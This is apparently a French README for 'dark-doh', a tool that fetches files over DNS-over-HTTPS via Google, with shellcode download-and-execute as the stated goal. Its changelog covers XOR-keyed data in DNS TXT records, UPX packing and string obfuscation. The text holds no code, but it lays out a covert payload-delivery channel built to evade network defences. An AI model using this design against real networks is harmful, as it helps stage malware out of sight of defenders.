dark-doh

dark-doh.exe version publique

Objectif : télécharger des fichiers via DoH, ou télécharger et exécuter un shellcode (non implémenté dans la version publique)

• Exemple d'exécution : dark-doh.exe file1 download google yourdomain.com
• Le script Python d'assistance pour la génération de zones DNS a été ajouté (py-prepzones.py).

!!! Avertissement !!!

• Les auteurs déclinent toute responsabilité et/ou obligation légale quant à l'utilisation que vous ferez de dark-doh.exe !
• Tout ce qui se trouve dans ce dépôt est uniquement à des fins éducatives et de recherche, et les auteurs déclinent toute responsabilité quant à l'utilisation des données qui y sont trouvées.

Journal des modifications :

• Version dark-doh-v1.0rc-public.exe :

  • téléchargement de données
  • Google comme fournisseur DoH
  • les morceaux de données et la clé XOR (4 octets) sont stockés dans l'enregistrement TXT
  • les morceaux de données sont stockés au format alphanumérique
  • binaire compressé avec UPX (pas de code source pour le moment)

• Version dark-doh-v1.0-public.exe :

  • code source disponible pour la version publique
  • téléchargement de données via DoH, l'exécution peut être ajoutée par vos soins
  • Google comme fournisseur DoH, d'autres peuvent être ajoutés par vos soins ou en combinant
  • fonctionne avec bind9 et dnslib zoneresolver.py (py-prepzones.py mis à jour)
  • prend en charge les enregistrements TXT longs (jusqu'à 2048), la longueur de chaque enregistrement est légèrement aléatoire
  • obfuscation de chaînes (https://github.com/adamyaxley/Obfuscate)
  • analyse JSON (https://github.com/Tencent/rapidjson)